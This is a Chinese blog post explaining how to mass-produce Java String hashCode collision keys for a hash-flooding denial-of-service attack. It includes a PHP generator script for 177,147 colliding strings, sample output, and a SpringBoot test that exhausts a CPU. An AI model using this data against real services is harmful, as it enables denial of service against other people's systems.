上一篇文章一种高级的DoS攻击-Hash碰撞攻击我通过伪造Hash Collision数据实现了对Java的DoS攻击,下面说说如何生产大量的攻击数据。

HashTable是一种非常常用的数据结构。它存取速度快,结构简单,深得程序员喜爱。HashTable大致数据结构如下图:

Hash Function也叫哈希散列函数,通过散列函数我们能将各种类型的key转换为有限空间内的一个内存地址。常见的散列函数有MD5,SHA*。不过HashTable中基本不会用MD5,SHA*算法,因为这两类算法太耗时,基本所有的编程语言都会选择Times*类型算法,比如Times31,times33,times37。Java使用的Hash算法为Times31,PHP使用的Hash算法为times33……

如果正常的使用HashTable,HashTable会是一种完美的数据结构。不过总有一些时候HashTable会被不正常使用,例如被攻击。假设”layne”,”abbc”这两个key通过散列算法得到的内存地址一样,我们的程序就不知道到底要获取哪一个key的参数。针对这种情况我们引入了Bucket(一个链表结构)的概念,当遇到这种情况时,程序会将同一个内存地址对应的多个数据存入同一个Bucket链表,这样能解决数据获取不到的问题,但是会带来额外的运算。当数十万甚至百万的数据都打到同一个Bucket,对HashTable的影响是致命的,运算量将急剧增加,分分钟将CPU耗尽。

通过研究各种语言底层的HashTable散列算法就能生产对应的攻击数据,这种攻击很难防御。不过在我们知道攻击原理之后,还是能很好应对。

一. Java HashCode函数实现

通过Google,我们很轻松的就搜索到了Java HashTable实现的散列算法,在Java中有个叫HashCode()的方法,我们可以这样使用。

System.out.println(“it2048.cn”.hashCode());

HashCode()函数底层就是使用times31算法,至于为什么选择times31,官方说法是 『 31 * i == (i << 5) - i 』,运算起来更快。源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* Returns a hash code for this string. The hash code for a
* <code>String</code> object is computed as
* <blockquote><pre>
* s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
* </pre></blockquote>
* using <code>int</code> arithmetic, where <code>s[i]</code> is the
* <i>i</i>th character of the string, <code>n</code> is the length of
* the string, and <code>^</code> indicates exponentiation.
* (The hash value of the empty string is zero.)
*
* @return a hash code value for this object.
*/
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value; for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

核心的计算的公式如下:

s[0]*31^(n-1) + s[1]*31^(n-2) + … + s[n-1]

通过推导计算,得到的计算公式如下:

F(n) = 31*F(n-1) + str[i]

使用PHP实现如下(这里只为加强说明哈希散列算法底层都是很简单的公式):

1
2
3
4
5
6
7
8
9
10
function hashCode($str) {  
$h = 0;
$len = strlen($str);
$t = 2147483648; //java int的最大值
for ($i = 0; $i < $len; $i++) {
$h = (($h << 5) - $h) + ord($str[$i]);
if($h > $t) $h %= $t; //溢出取模
}
return $h;
}

二. 通过Java HashCode函数实现逆推

通过如下公式

F(n) = 31*F(n-1) + str[i]

我们可以进一步推导出如下方程式:

31*x + y = 31*(x+1) + y-31 = 31*(x+2) + y-62

我们很容易找到满足条件的3组ASCII字符,分别是:

at = 97*31 + 116 = 3123

bU = 98*31 + 85 = 3123

c6 = 99*31 + 54 = 3123

通过如上数据,理论上我们可以构造任何偶数位的字符串,比如:

  1. atatatatatatatat (16位)
  2. c6atatatatatatbU (16位)
  3. atatatatatatbUat (16位)
  4. c6c6c6c6c6c6bUat (16位)

如上16位字符串得到的hashCode都是一样,理论上我们可以得到 pow(3,16/2) = 6561 个字符串;22位长度的字符串可以得到pow(3,22/2) = 177147 个字符串,用来发起简单的攻击完全足够。接下来我们封装一个简单的函数来生成 177147 个攻击字符串;

三. 通过脚本批量产出碰撞数据

如上我们已经推算出碰撞数据的实现方程式,接下来我通过PHP快速的生成碰撞数据。这里最好不要使用Java来生成碰撞数据,因为操作不当就会变成攻击自己的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$arr_src = ['at','bU','c6']; 
$str_tmp = ''; //存储临时字符串
$arr_rtn = [];
$t = combs(11,$arr_src,$str_tmp,$arr_rtn);
/**
* 组合算法
**/
function combs($n,$arr,$str,&$arr_rtn) {
if($n==1){
for($j=0;$j<3;$j++){
$arr_rtn[$str.$arr[$j]] = 0;
}
}else
{
for($j=0;$j<3;$j++){
combs($n-1,$arr,$str.$arr[$j],$arr_rtn);
}
}
}
$json = json_encode($arr_rtn);
file_put_contents('log/times31.txt',$json);

最后我们生成了如下数据(截取了前面几条):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"atatatatatatatatatatat":0,
"atatatatatatatatatatbU":0,
"atatatatatatatatatatc6":0,
"atatatatatatatatatbUat":0,
"atatatatatatatatatbUbU":0,
"atatatatatatatatatbUc6":0,
"atatatatatatatatatc6at":0,
"atatatatatatatatatc6bU":0,
"atatatatatatatatatc6c6":0,
"atatatatatatatatbUatat":0,
"atatatatatatatatbUatbU":0,
"atatatatatatatatbUatc6":0,
"atatatatatatatatbUbUat":0,
"atatatatatatatatbUbUbU":0,
"atatatatatatatatbUbUc6":0,
"atatatatatatatatbUc6at":0
}

四. 在Java中测试碰撞数据

通过程序我们生成了177147条碰撞数据,然后在SpringBoot中做个简单的测试,测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class IndexController {

    @RequestMapping(value="/",method = RequestMethod.GET)
public String index(){ String jsonStr = "";
try
{
FileReader fr = new FileReader("times31.txt");//需要读取的文件路径
BufferedReader br = new BufferedReader(fr);
jsonStr = br.readLine();
br.close();//关闭BufferReader流
fr.close(); //关闭文件流
}catch(IOException e)//捕捉异常
{
System.out.println("指定文件不存在");//处理异常
} Map<String, Object> map = new HashMap<String, Object>(); map = JSONObject.fromObject(jsonStr); return "Hash Collision ~";
}
}

测试结果,一个CPU被打到100%,持续了20多分钟。Mac Pro马上发烫,风扇开启。结束该java进程后电脑恢复。

Java Hash Collision之数据生产的更多相关文章

  1. java、python与留下迷点的php hash collision

    JAVA 生成java的碰撞数据比较简单 根据网上资料可知: at,bU,c6的在java中的hash值是相同的 则可以根据这三个不断做 笛卡尔积 简单明了就是做字符串拼接. 举个例子 把A当做at, ...

  2. Hash Collision DoS 问题

    Hash Collision DoS 问题http://coolshell.cn/articles/6424.html Hash Collision DoS (Hash碰撞的拒绝式服务攻击),有恶意的 ...

  3. Java使用POI实现数据导出excel报表

    Java使用POI实现数据导出excel报表 在上篇文章中,我们简单介绍了java读取word,excel和pdf文档内容 ,但在实际开发中,我们用到最多的是把数据库中数据导出excel报表形式.不仅 ...

  4. 大数据项目之_15_电信客服分析平台_01&02_项目背景+项目架构+项目实现+数据生产+数据采集/消费(存储)

    一.项目背景二.项目架构三.项目实现3.1.数据生产3.1.1.数据结构3.1.2.编写代码3.1.3.打包测试3.2.数据采集/消费(存储)3.2.1.数据采集:采集实时产生的数据到 kafka 集 ...

  5. Java在处理大数据的时候一些小技巧

    Java在处理大数据的时候一些小技巧 发布时间:2013-05-09 00:00:00 来源:中国IT实验室 作者:佚名   关键字:Java 众所周知,java在处理数据量比较大的时候,加载到内存必 ...

  6. Android java传递string类型数据给C

    本文接着实现<Android java传递int类型数据给C>的还未实现的方法: public native String sayHelloInC(String s); 先贴一个工具方法, ...

  7. Android java传递int类型数据给C

    本文根据<Android jni简便开发流程>中的开发流程来实现一个java传递int类型数据给C 新建项目,进行简单的布局 <LinearLayout xmlns:android= ...

  8. Java学习-022-Properties 文件数据写入

    Properties 配置文件写入主要通过 Properties.setProperty 和 Properties.store 两个方法,此文以一个简单的 properties 文件写入源码做示例. ...

  9. 微信支付java版V3验证数据合法性

    [TOC] 1. 微信支付java版V3验证数据合法性 概要:使用微信支付接口时,微信会返回或回调给商户XML数据,开发者需要验证微信返回的数据是否合法. 特别提醒:商户系统对于支付结果通知的内容一定 ...

随机推荐

  1. ios开发之--时间格式化

    字符串转时间 iOS 中 NSDate 是时间管理类,这里获取到的时间是 UTC 时间,可以根据需要转换成任意地区的时间. NSFormatter 类是时间格式化类,可以根据指定的格式.地区将指定的时 ...

  2. iOS 使用动态库

    苹果的开放态度 WWDC2014上发布的Xcode6 beta版有了不少更新,其中令我惊讶的一个是苹果在iOS上开放了动态库,在Xcode6 Beta版的更新文档中是这样描述的: Frameworks ...

  3. Netty权威指南之BIO(Block Input/Output,同步阻塞I/O通信)通信模型

    网络编程的基本模型是Client/Server模型,也就是两个进程之间进行相互通信,其中服务端提供位置信息(绑定的IP地址和监听端口),客户端通过连接操作向服务端监听的地址发起连接请求,通过三次握手建 ...

  4. Unity绘制Png图片

    using System.Collections; using System.Collections.Generic; using System.IO; using UnityEngine; publ ...

  5. U3D 使用VS编程组件

    http://visualstudiogallery.msdn.microsoft.com/6e536faa-ce73-494a-a746-6a14753015f1 http://visualstud ...

  6. MVC的简单分页【转】

    传值的方式是通过querystring. 本例子是把整需要的数据查出来再分页的,因为当时做的时候数据很少,只有几十条. 如果数据多的话,可以在存储过程里分页,只是要传页码和记录的条数过来. 控制器: ...

  7. Jquery 网页转换为图片

    /* html2canvas 0.5.0-alpha1 <http://html2canvas.hertzen.com> Copyright (c) 2015 Niklas von Her ...

  8. python爬虫---->scrapy的使用(一)

    这里我们介绍一下python的分布式爬虫框架scrapy的安装以及使用.平庸这东西犹如白衬衣上的污痕,一旦染上便永远洗不掉,无可挽回. scrapy的安装使用 我的电脑环境是win10,64位的.py ...

  9. springbatch---->springbatch的使用(四)

    这里我们重点学习一下springbatch里面的各种监听器的使用,以及job参数的传递.追求得到之日即其终止之时,寻觅的过程亦即失去的过程. springbatch的监听器 一.JOB LISTENE ...

  10. 【linux系列】配置免密登陆

    一.SSH无密码登录原理 此操作是为了搭建hadoop集群进行的操作 Master(NameNode|JobTracker)作为客户端,要实现无密码公钥认证,连接到服务器Salve(DataNode| ...